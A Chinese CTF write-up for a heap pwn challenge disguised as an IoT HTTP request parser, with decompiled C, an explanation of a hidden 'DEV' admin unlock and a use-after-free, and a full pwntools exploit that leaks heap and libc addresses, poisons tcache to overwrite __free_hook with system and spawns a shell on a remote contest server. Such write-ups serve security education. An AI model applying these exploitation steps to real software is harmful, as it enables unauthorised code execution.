前言

这是今年上半年比赛的一道题目,那个时候才刚刚接触堆,栈也不是很熟。打开程序基本就放弃了,前一段时间复现了几个IOT相关的CVE,借此契机顺便看看几个月前自己放弃的那道题。有一说一,这道题的逆向部分还是很头疼的,逆了一个下午+一个早上才看完程序逻辑—-套皮堆题罢了。

我新建了一个库,用于存放各种比赛的题目,我博客内WP涉及的题目基本都能找到,链接:PWNchanllenge/chunzhiIot at main · Loora1N/PWNchanllenge (github.com)

逆向部分

首先找到主函数,比较简介,循环读入一个0X3FF字节,然后对s进行解析处理

image-20221103201403318

跟进1BDC函数

image-20221103202054328

这里有腾出了一个字符串空间,跟进sub_1852函数。

因为我改了一部分变量名和函数名,所以可能与直接反汇编除了结果略有不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
__int64 __fastcall sub_1852(char *a1, __int64 a2)
{
char *haystack; // [rsp+8h] [rbp-28h]
int cnt; // [rsp+1Ch] [rbp-14h]
char *v5; // [rsp+20h] [rbp-10h]
const char *front_part; // [rsp+28h] [rbp-8h]
char *s2a; // [rsp+28h] [rbp-8h]
const char *s2b; // [rsp+28h] [rbp-8h]

haystack = a1;
cnt = 1;
v5 = strstr(a1, "\r\n");
if ( v5 )
{
v5[1] = ' ';
*v5 = 0;
v5 += 2; // trans "\r\n" into "\x00"+" "
}
while ( v5 && cnt <= 15 )
{
front_part = strtok(haystack, " ");
if ( cnt == 1 )
{
if ( !strcmp("GET", front_part) )
{
*(a2 + 16) = 1;
}
else if ( *(a2 + 16) || strcmp("HEAD", front_part) )
{
if ( *(a2 + 16) || strcmp("POST", front_part) )
{
if ( *(a2 + 16) || strcmp("PUT", front_part) )
{
if ( *(a2 + 16) || strcmp("DELETE", front_part) )
{
if ( *(a2 + 16) || strcmp("TRACE", front_part) )
{
if ( *(a2 + 16) || strcmp("OPTIONS", front_part) )
{
if ( *(a2 + 16) || strcmp("CONNECT", front_part) )
{
if ( *(a2 + 16) || strcmp("DEV", front_part) )
return 0LL;
*(a2 + 16) = 8;
}
else
{
*(a2 + 16) = 7;
}
}
else
{
*(a2 + 16) = 6;
}
}
else
{
*(a2 + 16) = 5;
}
}
else
{
*(a2 + 16) = 4;
}
}
else
{
*(a2 + 16) = 3;
}
}
else
{
*(a2 + 16) = 2;
}
}
else
{
*(a2 + 16) = 0;
}
s2a = strtok(0LL, " ");
if ( s2a != strchr(s2a, '/') )
return 0LL;
*a2 = s2a;
s2b = strtok(0LL, " ");
if ( !strcmp(s2b, "HTTP/1.0") && !strcmp(s2b, "HTTP/1.1") )
return 0LL;
haystack = v5;
v5 = strstr(v5, "\r\n");
if ( v5 ) // same to the top
{
v5[1] = 32;
*v5 = 0;
v5 += 2;
}
cnt = 2;
}
else
{
if ( !strchr(front_part, ':') )
return 0LL;
haystack = v5;
v5 = strstr(v5, "\r\n");
if ( v5 )
{
v5[1] = 32;
*v5 = 0;
v5 += 2;
}
++cnt;
}
}
if ( cnt == 1 )
return 0LL;
*(a2 + 8) = haystack;
return 1LL;
}

这里是做了一个HTTP的报文解析,根据头的不同,有不同的返回值,并且会将报文结尾’\r\n’之后的字符串赋值给传进来的第二个参数。即这个函数主要干了三件事

  • 解析HTTP报文,确定函数返回值
  • 根据请求类型赋值给a2+16不同的值
  • 将附带字符串赋值给a2+8的地址

我们继续看另外一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
int __fastcall sub_15FD(__int64 a1)
{
int result; // eax
int idx; // eax
unsigned int choice; // [rsp+14h] [rbp-2Ch]
__int64 idx2; // [rsp+18h] [rbp-28h]
unsigned __int64 size; // [rsp+20h] [rbp-20h]
char *nptr; // [rsp+38h] [rbp-8h]
const char *nptra; // [rsp+38h] [rbp-8h]
const char *nptrb; // [rsp+38h] [rbp-8h]
char *pointer; // [rsp+38h] [rbp-8h]
char *pointer2; // [rsp+38h] [rbp-8h]

if ( *(a1 + 16) == 2 ) // POST方法进入
{
nptr = strtok(*(a1 + 8), "&"); // use '&' to split the string
// choice & idx
if ( !nptr )
return 0;
choice = *nptr;
nptra = strtok(0LL, "&");
if ( !nptra )
return 0;
idx = atoi(nptra);
idx2 = idx;
if ( idx > 0x10 )
return 0;
if ( !flag )
return 0;
if ( choice == 4 )
{
del(idx); // free(un4040+idx)
// UAF
return 1;
}
if ( choice <= 4 )
{
switch ( choice )
{
case 3u:
show(idx); // show(un4040+v2)
return 1;
case 1u: // 1&idx&size&pointer
nptrb = strtok(0LL, "&");
if ( !nptrb )
return 0;
size = atoi(nptrb);
if ( size > 0x500 )
return 0;
pointer = strtok(0LL, "&");
if ( !pointer )
return 0;
create(idx2, size, pointer); // un4040+idx = malloc(size)
// memcpy(chunk,pointer,size)
return 1;
case 2u:
pointer2 = strtok(0LL, "&");
if ( !pointer2 )
return 0;
strcpy(idx2, pointer2); // memcpy(*(&unk_4040 + idx), nptrd, str(nptrd))
return 1;
}
}
}
result = *(a1 + 16);
if ( result == 8 )
{
result = strcmp(*(a1 + 8), "rotartsinimda");// admin is trator
if ( !result )
flag = 1;
}
return result;
}

这个函数主要干了这几件事

  • 根据a1+16的值不同,进入不同的判断分支(a1+16的值是由报文请求方式决定)
  • &分割了a1+8处的字符串,并根据字符串决定不同函数
  • 实现了一般堆题目的几个函数

另外需要注意,要将flag置1才能进入堆操作的选单,所以先要进入最下面的字符串判断

image-20221103203402587

结合前面的分析,我们基本确定payload的形式为类似如下特征

POST / HTTP/1.1\r\n\x01&1&0x30&aaaa

这个程序的漏洞主要在free这里,存在UAF漏洞

image-20221103203911463

漏洞利用

基本利用就比较简单了,泄露heapbaselibc后劫持free_hook即可,这道题主要还是代码逻辑相对难一些😭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

# io = process('./pwn')
io = remote('210.30.97.133',28094)
libc = ELF('./libc.so')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
context.arch = 'amd64'
context.os = 'linux'


def login():
io.recvuntil('Waiting Package...')
payload = "DEV / HTPP/1.1\r\nrotartsinimda\x00"
io.sendline(payload)

def create(idx,size,text):
io.recvuntil('Waiting Package...')
payload = "POST / HTTP/1.1\r\n"+'\x01'+'&'+str(idx)+'&'+str(size)+'&'+ text
io.sendline(payload)

def free(idx):
io.recvuntil('Waiting Package...')
payload = "POST / HTTP/1.1\r\n"+'\x04'+'&'+str(idx)
io.sendline(payload)

def show(idx):
io.recvuntil('Waiting Package...')
payload = "POST / HTTP/1.1\r\n"+'\x03'+'&'+str(idx)
io.sendline(payload)

def edit(idx,text):
io.recvuntil('Waiting Package...')
payload = "POST / HTTP/1.1\r\n"+'\x02'+'&'+str(idx)+'&'+ text
io.sendline(payload)

def p():
gdb.attach(proc.pidof(io)[0])


def pwn():
login()
# pause()
for i in range(7):
create(i,0x90,'aaaa')

free(0)
show(0)
io.recvuntil('Content-Length: 5\n')
# io.recvline()
key = u64(io.recv(5).ljust(8,b'\x00'))
heapbase = key<<12


# edit(7,'a\x00')
create(7,0x420,'aaaa')
create(8,0x30,'bbbb')
free(7)
# p()
create(9,0x430,'cc')
# p()
show(7)
# p()
io.recvuntil('Content-Length: 6\n')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1e0ff0
success('libc_base-->'+hex(libc_base))
success("key-->"+hex(key))
success("heapbase-->"+hex(heapbase))

free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
# free(0)

create(11,0x30,'a')
create(12,0x30,'b')
create(13,0x30,'c')
free(11)
free(12)
edit(12,p64(free_hook^key))
# p()
create(14,0x30,'/bin/sh')
create(15,0x30,p64(system_addr))
free(14)
success('free_hook-->'+hex(free_hook))
success('system-->'+hex(system_addr))

# p()


io.interactive()


if __name__ == '__main__':
pwn()